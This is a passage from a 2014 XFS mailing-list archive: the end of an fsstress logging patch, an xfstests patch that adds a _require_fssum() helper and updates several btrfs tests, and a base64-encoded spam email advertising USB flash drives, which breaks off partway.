verifiable_log ? -1: (long)s->st_ino, (long)s->st_nlink, s->st_uid, s->st_gid, (long long) s->st_blocks, (long long) s->st_size); } @@ -1773,11 +1781,11 @@ bulkstat1_f(int opno, long r) bsr.icount=1; bsr.ubuffer=&t; bsr.ocount=NULL; - e = xfsctl(".", fd, XFS_IOC_FSBULKSTAT_SINGLE, &bsr) < 0 ? errno : 0; if (v) printf("%d/%d: bulkstat1 %s ino %lld %d\n", - procid, opno, good?"real":"random", (long long)ino, e); + procid, opno, good?"real":"random", + verifiable_log ? -1LL : (long long)ino, e); close(fd); } -- 1.7.1 From fdmanana@gmail.com Tue Feb 25 07:46:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AC4F07F50 for ; Tue, 25 Feb 2014 07:46:48 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 28D2BB4898 for ; Tue, 25 Feb 2014 05:46:48 -0800 (PST) X-ASG-Debug-ID: 1393335990-04cbb066e6273e0001-NocioJ Received: from mail-wg0-f43.google.com (mail-wg0-f43.google.com [74.125.82.43]) by cuda.sgi.com with ESMTP id GJzfYlCiWOXqknZh (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 25 Feb 2014 05:46:31 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.43 Received: by mail-wg0-f43.google.com with SMTP id k14so408908wgh.2 for ; Tue, 25 Feb 2014 05:46:30 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=hgZHQVkbZblsya+TpfBNLC6C/1lgf5ttJk43yVhqaa0=; b=rtbXzy80nH0tb7X7zRoNMTzpO/NVh14iKR/DD1uiRIYb256Bi7mzhrYJp93MOb6DYC zaMV8Eo5B24PNUjFZdrpTVtWB7wubmyPshwqY1M/qcgR4EEwDXuhi+vtdnKXLZbtC3Y2 3XOCrziubbOUlfIIJfoGMak2sYvfwKBPYkPUFWvAXwUnVVGKAz7RYfLPQrMtAXiG3BwK zvLqQKArIFJBqFDsmYy0HLY2chLjhumhHSKN6qzyNNDwVQRCY4IbOHUGdlFO06cmvU7U yWef5EpscfEJjLk3AUQ595qHt9qQtarReS8resX1qd5f84R43a78SwTjYkBiFfkPUwtp N4IQ== X-Received: by 10.180.36.8 with SMTP id m8mr3174096wij.42.1393335989950; Tue, 25 Feb 2014 05:46:29 -0800 (PST) Received: from storm-desktop.lan (bl9-170-181.dsl.telepac.pt. [85.242.170.181]) by mx.google.com with ESMTPSA id n3sm329634wix.10.2014.02.25.05.46.29 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 25 Feb 2014 05:46:29 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: david@fromorbit.com, linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH v2] xfstests: add function _require_fssum() Date: Tue, 25 Feb 2014 13:46:20 +0000 X-ASG-Orig-Subj: [PATCH v2] xfstests: add function _require_fssum() Message-Id: <1393335980-446-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 In-Reply-To: <1393242983-16149-1-git-send-email-fdmanana@gmail.com> References: <1393242983-16149-1-git-send-email-fdmanana@gmail.com> X-Barracuda-Connect: mail-wg0-f43.google.com[74.125.82.43] X-Barracuda-Start-Time: 1393335990 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145495 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature To avoid repeating detection of fssum presence in many btrfs tests, as suggested by Dave Chinner. Also exported the variable "here" from the main control script, to avoid repeating its declaration in every single testcase file. Also removed the declaration of "here" from btrfs test cases that require the fssum program only. Removing it from all other test cases will be a separate change. Signed-off-by: Filipe David Borba Manana --- V2: Exported the variable "here" from the main control file, as suggested by Dave Chinner. Like this we avoid declaring it again in the new function and in many other places. check | 2 +- common/rc | 6 ++++++ tests/btrfs/007 | 5 +---- tests/btrfs/016 | 5 +---- tests/btrfs/030 | 5 +---- tests/btrfs/038 | 5 +---- tests/btrfs/039 | 5 +---- tests/btrfs/040 | 5 +---- tests/btrfs/041 | 5 +---- tests/btrfs/042 | 5 +---- 10 files changed, 15 insertions(+), 33 deletions(-) mode change 100644 => 100755 tests/btrfs/016 diff --git a/check b/check index 268417c..b619f6d 100755 --- a/check +++ b/check @@ -32,7 +32,7 @@ diff="diff -u" showme=false have_test_arg=false randomize=false -here=`pwd` +export here=`pwd` xfile="" # start the initialisation work now diff --git a/common/rc b/common/rc index 5df504c..0f50f49 100644 --- a/common/rc +++ b/common/rc @@ -2144,6 +2144,12 @@ _require_cp_reflink() _notrun "This test requires a cp with --reflink support." } +_require_fssum() +{ + FSSUM_PROG=$here/src/fssum + [ -x $FSSUM_PROG ] || _notrun "fssum not built" +} + # Given 2 files, verify that they have the same mapping but different # inodes - i.e. an undisturbed reflink # Silent if so, make noise if not diff --git a/tests/btrfs/007 b/tests/btrfs/007 index 5df9ccb..5430613 100755 --- a/tests/btrfs/007 +++ b/tests/btrfs/007 @@ -31,7 +31,6 @@ seq=`basename $0` seqres=$RESULT_DIR/$seq echo "QA output created by $seq" -here=`pwd` tmp=`mktemp -d` status=1 @@ -52,11 +51,9 @@ _need_to_be_root _supported_fs btrfs _supported_os Linux _require_scratch +_require_fssum _require_seek_data_hole -FSSUM_PROG=$here/src/fssum -[ -x $FSSUM_PROG ] || _notrun "fssum not built" - rm -f $seqres.full workout() diff --git a/tests/btrfs/016 b/tests/btrfs/016 old mode 100644 new mode 100755 index 6faead1..d04c21a --- a/tests/btrfs/016 +++ b/tests/btrfs/016 @@ -26,7 +26,6 @@ seq=`basename $0` seqres=$RESULT_DIR/$seq echo "QA output created by $seq" -here=`pwd` tmp=`mktemp -d` tmp_dir=send_temp_$seq @@ -51,9 +50,7 @@ trap "_cleanup ; exit \$status" 0 1 2 3 15 _supported_fs btrfs _supported_os Linux _require_scratch - -FSSUM_PROG=$here/src/fssum -[ -x $FSSUM_PROG ] || _notrun "fssum not built" +_require_fssum _scratch_mkfs > /dev/null 2>&1 diff --git a/tests/btrfs/030 b/tests/btrfs/030 index a9f5fb4..a76a410 100755 --- a/tests/btrfs/030 +++ b/tests/btrfs/030 @@ -36,7 +36,6 @@ seq=`basename $0` seqres=$RESULT_DIR/$seq echo "QA output created by $seq" -here=`pwd` tmp=`mktemp -d` status=1 # failure is the default! trap "_cleanup; exit \$status" 0 1 2 3 15 @@ -54,11 +53,9 @@ _cleanup() _supported_fs btrfs _supported_os Linux _require_scratch +_require_fssum _need_to_be_root -FSSUM_PROG=$here/src/fssum -[ -x $FSSUM_PROG ] || _notrun "fssum not built" - rm -f $seqres.full _scratch_mkfs >/dev/null 2>&1 diff --git a/tests/btrfs/038 b/tests/btrfs/038 index 8893696..4941d3e 100755 --- a/tests/btrfs/038 +++ b/tests/btrfs/038 @@ -32,7 +32,6 @@ seq=`basename $0` seqres=$RESULT_DIR/$seq echo "QA output created by $seq" -here=`pwd` tmp=`mktemp -d` status=1 # failure is the default! trap "_cleanup; exit \$status" 0 1 2 3 15 @@ -50,11 +49,9 @@ _cleanup() _supported_fs btrfs _supported_os Linux _require_scratch +_require_fssum _need_to_be_root -FSSUM_PROG=$here/src/fssum -[ -x $FSSUM_PROG ] || _notrun "fssum not built" - rm -f $seqres.full _scratch_mkfs >/dev/null 2>&1 diff --git a/tests/btrfs/039 b/tests/btrfs/039 index 41e09be..758b23c 100755 --- a/tests/btrfs/039 +++ b/tests/btrfs/039 @@ -35,7 +35,6 @@ seq=`basename $0` seqres=$RESULT_DIR/$seq echo "QA output created by $seq" -here=`pwd` tmp=`mktemp -d` status=1 # failure is the default! trap "_cleanup; exit \$status" 0 1 2 3 15 @@ -53,11 +52,9 @@ _cleanup() _supported_fs btrfs _supported_os Linux _require_scratch +_require_fssum _need_to_be_root -FSSUM_PROG=$here/src/fssum -[ -x $FSSUM_PROG ] || _notrun "fssum not built" - rm -f $seqres.full _scratch_mkfs >/dev/null 2>&1 diff --git a/tests/btrfs/040 b/tests/btrfs/040 index 77c4a84..dfd495c 100755 --- a/tests/btrfs/040 +++ b/tests/btrfs/040 @@ -35,7 +35,6 @@ seq=`basename $0` seqres=$RESULT_DIR/$seq echo "QA output created by $seq" -here=`pwd` tmp=`mktemp -d` status=1 # failure is the default! trap "_cleanup; exit \$status" 0 1 2 3 15 @@ -53,11 +52,9 @@ _cleanup() _supported_fs btrfs _supported_os Linux _require_scratch +_require_fssum _need_to_be_root -FSSUM_PROG=$here/src/fssum -[ -x $FSSUM_PROG ] || _notrun "fssum not built" - rm -f $seqres.full _scratch_mkfs >/dev/null 2>&1 diff --git a/tests/btrfs/041 b/tests/btrfs/041 index bfc0e4b..a960001 100755 --- a/tests/btrfs/041 +++ b/tests/btrfs/041 @@ -31,7 +31,6 @@ seq=`basename $0` seqres=$RESULT_DIR/$seq echo "QA output created by $seq" -here=`pwd` tmp=`mktemp -d` status=1 # failure is the default! trap "_cleanup; exit \$status" 0 1 2 3 15 @@ -49,11 +48,9 @@ _cleanup() _supported_fs btrfs _supported_os Linux _require_scratch +_require_fssum _need_to_be_root -FSSUM_PROG=$here/src/fssum -[ -x $FSSUM_PROG ] || _notrun "fssum not built" - rm -f $seqres.full _scratch_mkfs >/dev/null 2>&1 diff --git a/tests/btrfs/042 b/tests/btrfs/042 index 2bd5147..9aa8967 100755 --- a/tests/btrfs/042 +++ b/tests/btrfs/042 @@ -36,7 +36,6 @@ seq=`basename $0` seqres=$RESULT_DIR/$seq echo "QA output created by $seq" -here=`pwd` tmp=`mktemp -d` status=1 # failure is the default! trap "_cleanup; exit \$status" 0 1 2 3 15 @@ -54,11 +53,9 @@ _cleanup() _supported_fs btrfs _supported_os Linux _require_scratch +_require_fssum _need_to_be_root -FSSUM_PROG=$here/src/fssum -[ -x $FSSUM_PROG ] || _notrun "fssum not built" - rm -f $seqres.full _scratch_mkfs >/dev/null 2>&1 -- 1.7.9.5 From feetek@188.com Tue Feb 25 08:21:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_FONT_FACE_BAD, HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A85BA7F50 for ; Tue, 25 Feb 2014 08:21:19 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 12FB8C4208 for ; Tue, 25 Feb 2014 06:21:19 -0800 (PST) X-ASG-Debug-ID: 1393338039-04cbb066e528610001-NocioJ Received: from mproxyjp2.163.com (mproxyjp2.163.com [176.32.86.149]) by cuda.sgi.com with ESMTP id Ht4M2BWrkGC1HJcb for ; Tue, 25 Feb 2014 06:20:40 -0800 (PST) X-Barracuda-Envelope-From: feetek@188.com X-Barracuda-Apparent-Source-IP: 176.32.86.149 Received: from localhost (unknown [127.0.0.1]) by wmsvr1 (Coremail) with SMTP id TSWEB_0000000D000012B5530CA20F; Tue, 25 Feb 2014 22:00:47 +0800 (CST) Received: from feetek$188.com ( [119.139.70.198] ) by ajax-webmail-wmsvr2 (Coremail) ; Tue, 25 Feb 2014 11:22:11 +0800 (CST) X-Originating-IP: [119.139.70.198] Date: Tue, 25 Feb 2014 22:00:00 +0800 (CST) From: "Feetek Ltd" To: xfs@oss.sgi.com Subject: Look for Partner for USB Products X-Priority: 3 X-ASG-Orig-Subj: Look for Partner for USB Products X-Mailer: Coremail Webmail Server Version SP_ntes V3.5 build 20131204(24406.5820.5783) Copyright (c) 2002-2014 www.mailtech.cn 188com Disposition-Notification-To: feetek@188.com Content-Type: multipart/alternative; boundary="----=_Part_20303_1415915334.1393298531952" MIME-Version: 1.0 Message-ID: <1dbdb9c9.1505.14467106670.Coremail.feetek@188.com> X-Coremail-Locale: zh_CN X-CM-TRANSID:C2Z4CkAZi0JAogxTZm0DAA--.0W X-CM-SenderInfo: xihh3vbn6rmmoofrz/1tbiAQc9zlD30+zimQADsV X-Coremail-Antispam: 1U5529EdanIXcx71UUUUU7vcSsGvfC2KfnxnUU== X-Barracuda-Connect: mproxyjp2.163.com[176.32.86.149] X-Barracuda-Start-Time: 1393338039 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.61 X-Barracuda-Spam-Status: No, SCORE=0.61 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_FONT_FACE_BAD, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145496 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.61 HTML_FONT_FACE_BAD BODY: HTML font face is not a word ------=_Part_20303_1415915334.1393298531952 Content-Type: text/plain; charset=GBK Content-Transfer-Encoding: base64 RGVhciBFc3RlZW1lZCBDdXN0b21lciwKCgpIb3BlIHlvdSBhcmUgZG9pbmcgd2VsbC4KIApXZSBh cmUgb25lIG9mIHRoZSBtb3N0IHByb2Zlc3Npb25hbCBVU0IgRmxhc2ggRHJpdmUgbWFudWZhY3R1 cmVycyBpbiBTaGVuemhlbi4KV2UgbWFpbmx5IHByb3ZpZGUgT0VNIGFuZCBPRE0gc2VydmljZSwg d2l0aCBjdXN0b21lcidzIGxvZ28gYnJhbmRpbmcgb3IgY3JlYXRlIG5ldyBtb2xkLgogClRoZSBV U0IgRmxhc2ggRHJpdmVzIHdlIGNhbiBwcm9kdWNlIGFyZSBhcyBmb2xsb3dzOgogCigxKSBDb21t b24gUGxhc3RpYyBVU0IgRHJpdmUuCigyKSBQZW4gU2hhcGUgVVNCIERyaXZlLgooMykgS2V5IFNo YXBlIFVTQiBEcml2ZS4KKDQpIExlYXRoZXIgVVNCIERyaXZlLgooNSkgUmVjeWNsZWQgUGFwZXIg VVNCIERyaXZlLgooNikgQ3JlZGl0IENhcmQgVVNCIERyaXZlLgooNykgU2lsaWNvbmUgVVNCIERy aXZlLgooOCkgU29mdCBQVkMgVVNCIERyaXZlLgooOSkgTWV0YWwgVVNCIERyaXZlLgooMTApIFNt YXJ0IFBob25lIFVTQiBEcml2ZS4KKDExKSBXb29kL0JhbWJvbyBVU0IgRHJpdmUuCigxMikgTG9n byBFcG94eSBVU0IgRHJpdmUuCigxMykgTWluaSBVU0IgRHJpdmUuCigxNCkgRGlhbWVudCBVU0Ig RHJpdmUuCigxNSkgQ3J5c3RhbCBVU0IgRHJpdmUuCigxNikgU3BlY2lhbCBTaGFwZSBVU0IgRHJp dmUgZXRjLgogCkZvciBtb3JlIGFib3V0IHVzLCBwbGVhc2UgdmlzaXQgb3VyIHdlYnNpdGUuCllv dSBjYW4gYWxzbyBzZW5kIGVtYWlsIHRvIG15IGNvbXBhbnkgZW1haWwgYm94IHdlbmR5QGZlZXRl ay5jb20gZGlyZWN0bHkuCiAKUGxlYXNlIHNlbmQgbWUgeW91ciBkZXRhaWxlZCByZXF1aXJlbWVu dHMgaWYgeW91IHByb2plY3RzIHJlbGF0ZWQgdG8gb3VyIHByb2R1Y3RzLgpJIHdpbGwgc2VuZCB5 b3Ugb3VyIGdlbmVyYWwgcHJpY2UgbGlzdCBpZiB5b3UgaGF2ZSBpbnRlcmVzdCBpbiBjb29wZXJh dGlvbi4KCgpCZXN0IFJlZ2FyZHMsIAogCldlbmR5IEh1YW5nCiAKRmVldGVrIEVsZWN0cm9uaWNz IENvLixMdGQKIApIdHRwOi8vd3d3LmZlZXRlay5jb20gCiAKRW1haWw6IHdlbmR5QGZlZXRlay5j b20gCkJhY2t1cCAxOiBmZWV0ZWtAdmlwLjE2My5jb20gCkJhY2t1cCAyOiBmZWV0ZWtAdmlwLjEy Ni5jb20gCkJhY2t1cCAzOiBmZWV0ZWtAdmlwLjE4OC5jb20gClNreXBlOiB3ZW5keWh1YW5nMjAx MSAgCiAKVGVsOiAgKCs4Nik3NTUgODMyNzA2NDAgIApGYXg6ICgrODYpNzU1IDgzMjcwNjM1Ck1v YmlsZTogKCs4NikxMzcyNTU4Nzc2MwogICAgICAgIApBZGRyZXNzOiA2dGggRmxvb3IsIFVuaXQg MSwgU2Fud2VpIEluZHVzdHJ5IFBhcmssWGl4aWFuZyBUb3duLEJhbydhbiBEaXN0LCBTaGVuemhl bixDaGluYSA1MTgxMjYu ------=_Part_20303_1415915334.1393298531952 Content-Type: text/html; charset=GBK Content-Transfer-Encoding: base64 PGRpdiBzdHlsZT0ibGluZS1oZWlnaHQ6MS43O2NvbG9yOiMwMDAwMDA7Zm9udC1zaXplOjE0cHg7 Zm9udC1mYW1pbHk6YXJpYWwiPjxkaXY+RGVhciBFc3RlZW1lZCBDdXN0b21lciw8L2Rpdj48ZGl2 IGlkPSJpc0ZvcndhcmRDb250ZW50Ij48ZGl2IHN0eWxlPSJjb2xvcjogcmdiKDAsIDAsIDApOyBs aW5lLWhlaWdodDogMS43OyBmb250LWZhbWlseTogYXJpYWw7IGZvbnQtc2l6ZTogMTRweDsiPjxk aXYgaWQ9ImlzRm9yd2FyZENvbnRlbnQiPjxkaXYgc3R5bGU9ImNvbG9yOiByZ2IoMCwgMCwgMCk7 IGxpbmUtaGVpZ2h0OiAxLjc7IGZvbnQtZmFtaWx5OiBhcmlhbDsgZm9udC1zaXplOiAxNHB4OyI+ PGRpdiBpZD0iaXNGb3J3YXJkQ29udGVudCI+PGRpdiBzdHlsZT0iY29sb3I6IHJnYigwLCAwLCAw KTsgbGluZS1oZWlnaHQ6IDEuNzsgZm9udC1mYW1pbHk6IGFyaWFsOyBmb250LXNpemU6IDE0cHg7 Ij48ZGl2IHN0eWxlPSJjb2xvcjogcmdiKDAsIDAsIDApOyBsaW5lLWhlaWdodDogMS43OyBmb250 LWZhbWlseTogYXJpYWw7IGZvbnQtc2l6ZTogMTRweDsiPjxkaXY+PGJyPjwvZGl2PjxkaXY+SG9w ZSB5b3UgYXJlIGRvaW5nIHdlbGwuIDwvZGl2PjxkaXYgaWQ9ImlzRm9yd2FyZENvbnRlbnQiPjxk aXYgc3R5bGU9ImNvbG9yOiByZ2IoMCwgMCwgMCk7IGxpbmUtaGVpZ2h0OiAxLjc7IGZvbnQtZmFt aWx5OiBhcmlhbDsgZm9udC1zaXplOiAxNHB4OyI+PGRpdj4mbmJzcDs8L2Rpdj48ZGl2PldlIGFy ZSBvbmUgb2YgdGhlIG1vc3QgcHJvZmVzc2lvbmFsIFVTQiBGbGFzaCBEcml2ZSBtYW51ZmFjdHVy ZXJzIGluICBTaGVuemhlbi4gPC9kaXY+PGRpdj5XZSBtYWlubHkgcHJvdmlkZSBPRU0gYW5kIE9E TSZuYnNwO3NlcnZpY2UsIHdpdGggY3VzdG9tZXIncyBsb2dvIGJyYW5kaW5nICBvciBjcmVhdGUg bmV3IG1vbGQuIDwvZGl2PjxkaXY+Jm5ic3A7PC9kaXY+PGRpdj5UaGUgVVNCIEZsYXNoIERyaXZl cyB3ZSBjYW4gcHJvZHVjZSBhcmUgYXMgZm9sbG93czogPC9kaXY+PGRpdj4mbmJzcDs8L2Rpdj48 ZGl2Pjxmb250IGNvbG9yPSIjMDAwMGZmIj48c3Ryb25nPigxKSBDb21tb24gUGxhc3RpYyBVU0Ig RHJpdmUuICA8L3N0cm9uZz48L2ZvbnQ+PC9kaXY+PGRpdj48Zm9udCBjb2xvcj0iIzAwMDBmZiI+ PHN0cm9uZz4oMikgUGVuIFNoYXBlIFVTQiBEcml2ZS48L3N0cm9uZz48L2ZvbnQ+PC9kaXY+PGRp dj48Zm9udCBjb2xvcj0iIzAwMDBmZiI+PHN0cm9uZz4oMykgS2V5IFNoYXBlIFVTQiBEcml2ZS48 L3N0cm9uZz48L2ZvbnQ+PC9kaXY+PGRpdj48Zm9udCBjb2xvcj0iIzAwMDBmZiI+PHN0cm9uZz4o NCkgTGVhdGhlciBVU0IgRHJpdmUuPC9zdHJvbmc+PC9mb250PjwvZGl2PjxkaXY+PGZvbnQgY29s b3I9IiMwMDAwZmYiPjxzdHJvbmc+KDUpIFJlY3ljbGVkIFBhcGVyIFVTQiAgRHJpdmUuPC9zdHJv bmc+PC9mb250PjwvZGl2PjxkaXY+PGZvbnQgY29sb3I9IiMwMDAwZmYiPjxzdHJvbmc+KDYpIENy ZWRpdCBDYXJkIFVTQiAgRHJpdmUuPC9zdHJvbmc+PC9mb250PjwvZGl2PjxkaXY+PGZvbnQgY29s b3I9IiMwMDAwZmYiPjxzdHJvbmc+KDcpIFNpbGljb25lIFVTQiBEcml2ZS48L3N0cm9uZz48L2Zv bnQ+PC9kaXY+PGRpdj48Zm9udCBjb2xvcj0iIzAwMDBmZiI+PHN0cm9uZz4oOCkgU29mdCBQVkMg VVNCIERyaXZlLjwvc3Ryb25nPjwvZm9udD48L2Rpdj48ZGl2Pjxmb250IGNvbG9yPSIjMDAwMGZm Ij48c3Ryb25nPig5KSBNZXRhbCBVU0IgRHJpdmUuPC9zdHJvbmc+PC9mb250PjwvZGl2PjxkaXY+ PGZvbnQgY29sb3I9IiMwMDAwZmYiPjxzdHJvbmc+KDEwKSBTbWFydCBQaG9uZSBVU0IgIERyaXZl Ljwvc3Ryb25nPjwvZm9udD48L2Rpdj48ZGl2Pjxmb250IGNvbG9yPSIjMDAwMGZmIj48c3Ryb25n PigxMSkgV29vZC9CYW1ib28gVVNCICBEcml2ZS48L3N0cm9uZz48L2ZvbnQ+PC9kaXY+PGRpdj48 Zm9udCBjb2xvcj0iIzAwMDBmZiI+PHN0cm9uZz4oMTIpIExvZ28gRXBveHkgVVNCICBEcml2ZS48 L3N0cm9uZz48L2ZvbnQ+PC9kaXY+PGRpdj48Zm9udCBjb2xvcj0iIzAwMDBmZiI+PHN0cm9uZz4o MTMpIE1pbmkgVVNCIERyaXZlLjwvc3Ryb25nPjwvZm9udD48L2Rpdj48ZGl2Pjxmb250IGNvbG9y PSIjMDAwMGZmIj48c3Ryb25nPigxNCkgRGlhbWVudCBVU0IgRHJpdmUuPC9zdHJvbmc+PC9mb250 PjwvZGl2PjxkaXY+PGZvbnQgY29sb3I9IiMwMDAwZmYiPjxzdHJvbmc+KDE1KSBDcnlzdGFsIFVT QiBEcml2ZS48L3N0cm9uZz48L2ZvbnQ+PC9kaXY+PGRpdj48Zm9udCBjb2xvcj0iIzAwMDBmZiI+ PHN0cm9uZz4oMTYpIFNwZWNpYWwgU2hhcGUgVVNCIERyaXZlICBldGMuPC9zdHJvbmc+PC9mb250 PiA8L2Rpdj48ZGl2PiZuYnNwOzwvZGl2PjxkaXY+Rm9yIG1vcmUgYWJvdXQgdXMsIHBsZWFzZSB2 aXNpdCBvdXIgd2Vic2l0ZS4gPC9kaXY+PGRpdj5Zb3UgY2FuIGFsc28gc2VuZCBlbWFpbCB0byBt eSBjb21wYW55IGVtYWlsIGJveCA8YSBocmVmPSJtYWlsdG86d2VuZHlAZmVldGVrLmNvbSIgdGFy Z2V0PSJfYmxhbmsiPndlbmR5QGZlZXRlay5jb208L2E+IGRpcmVjdGx5LiA8L2Rpdj48ZGl2PiZu YnNwOzwvZGl2PjxkaXY+UGxlYXNlIHNlbmQgbWUgeW91ciBkZXRhaWxlZCByZXF1aXJlbWVudHMg aWYgeW91IHByb2plY3RzIHJlbGF0ZWQgdG8gb3VyICBwcm9kdWN0cy4gPC9kaXY+PGRpdj5JIHdp bGwgc2VuZCB5b3Ugb3VyIGdlbmVyYWwgcHJpY2UgbGlzdCBpZiB5b3UgaGF2ZSBpbnRlcmVzdCBp biBjb29wZXJhdGlvbi4gPC9kaXY+PGRpdj48YnI+PC9kaXY+PGRpdj48ZGl2Pjxmb250IGZhY2U9 IkFyaWFsIiBzaXplPSIyIj5CZXN0Jm5ic3A7UmVnYXJkcywmbmJzcDs8L2ZvbnQ+PC9kaXY+PGRp dj48Zm9udCBmYWNlPSJBcmlhbCIgc2l6ZT0iMiI+PC9mb250PiZuYnNwOzwvZGl2PjxkaXY+PGZv bnQgZmFjZT0iQXJpYWwgQmxhY2siIHNpemU9IjQiPjxzdHJvbmc+V2VuZHkgSHVhbmc8L3N0cm9u Zz48L2ZvbnQ+PC9kaXY+PGRpdj48Zm9udCBmYWNlPSJBcmlhbCIgc2l6ZT0iMiI+PC9mb250PiZu YnNwOzwvZGl2PjxkaXY+PGZvbnQgZmFjZT0iQXJpYWwiIHNpemU9IjMiPjxzdHJvbmc+RmVldGVr IEVsZWN0cm9uaWNzICBDby4sTHRkPC9zdHJvbmc+PC9mb250PjwvZGl2PjxkaXY+PGZvbnQgZmFj ZT0iQXJpYWwiIHNpemU9IjIiPjwvZm9udD4mbmJzcDs8L2Rpdj48ZGl2PjxhIGhyZWY9Imh0dHA6 Ly93d3cuZmVldGVrLmNvbS8iIHRhcmdldD0iX2JsYW5rIj48Zm9udCBmYWNlPSJBcmlhbCIgc2l6 ZT0iMiI+SHR0cDovL3d3dy5mZWV0ZWsuY29tPC9mb250PjwvYT48Zm9udCBmYWNlPSJBcmlhbCIg c2l6ZT0iMiI+Jm5ic3A7PC9mb250PjwvZGl2PjxkaXY+PGZvbnQgZmFjZT0iQXJpYWwiIHNpemU9 IjIiPjwvZm9udD4mbmJzcDs8L2Rpdj48ZGl2Pjxmb250IGZhY2U9IkFyaWFsIiBzaXplPSIyIj5F bWFpbDombmJzcDs8YSBocmVmPSJtYWlsdG86d2VuZHlAZmVldGVrLmNvbSIgdGFyZ2V0PSJfYmxh bmsiPndlbmR5QGZlZXRlay5jb208L2E+IDwvZm9udD48Zm9udCBmYWNlPSJBcmlhbCIgc2l6ZT0i MiI+Jm5ic3A7PC9mb250PjwvZGl2PjxkaXY+PGZvbnQgZmFjZT0iQXJpYWwiIHNpemU9IjIiPkJh Y2t1cCAxOiA8YSBocmVmPSJtYWlsdG86ZmVldGVrQHZpcC4xNjMuY29tIiB0YXJnZXQ9Il9ibGFu ayI+ZmVldGVrQHZpcC4xNjMuY29tPC9hPiZuYnNwOzwvZm9udD48L2Rpdj48ZGl2Pjxmb250IHNp emU9IjIiPkJhY2t1cCAyOiA8YSBocmVmPSJtYWlsdG86ZmVldGVrQHZpcC4xMjYuY29tIiB0YXJn ZXQ9Il9ibGFuayI+ZmVldGVrQHZpcC4xMjYuY29tPC9hPiZuYnNwOzwvZm9udD48L2Rpdj48ZGl2 Pjxmb250IHNpemU9IjIiPkJhY2t1cCAzOiA8YSBocmVmPSJtYWlsdG86ZmVldGVrQHZpcC4xODgu Y29tIiB0YXJnZXQ9Il9ibGFuayI+ZmVldGVrQHZpcC4xODguY29tPC9hPiZuYnNwOzwvZm9udD48 L2Rpdj48ZGl2Pjxmb250IGZhY2U9IkFyaWFsIiBzaXplPSIyIj5Ta3lwZTogd2VuZHlodWFuZzIw MTEmbmJzcDs8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJpYWwiIHNpemU9IjIiPiZuYnNwOzwvZm9udD48 L2Rpdj48ZGl2Pjxmb250IGZhY2U9IkFyaWFsIiBzaXplPSIyIj48L2ZvbnQ+Jm5ic3A7PC9kaXY+ PGRpdj48Zm9udCBmYWNlPSJBcmlhbCIgc2l6ZT0iMiI+PGRpdiBjbGFzcz0iTXNvTm9ybWFsIj48 c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6ICZxdW90O0FyaWFsJnF1b3Q7LCZxdW90O3NhbnMtc2Vy aWYmcXVvdDs7IGZvbnQtc2l6ZTogMTBwdDsiPjxmb250IGNvbG9yPSIjMDAwMDAwIj5UZWw6Jm5i c3A7ICgrODYpNzU1IDgzMjcwNjQwJm5ic3A7PC9mb250Pjwvc3Bhbj48c3BhbiBzdHlsZT0iZm9u dC1mYW1pbHk6ICZxdW90O0FyaWFsJnF1b3Q7LCZxdW90O3NhbnMtc2VyaWYmcXVvdDs7IGZvbnQt c2l6ZTogMTBwdDsiPjwvc3Bhbj4mbmJzcDs8L2Rpdj48ZGl2PjxkaXYgY2xhc3M9Ik1zb05vcm1h bCI+PGZvbnQgY29sb3I9IiMwMDAwMDAiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogJnF1b3Q7 QXJpYWwmcXVvdDssJnF1b3Q7c2Fucy1zZXJpZiZxdW90OzsgZm9udC1zaXplOiAxMHB0OyI+RmF4 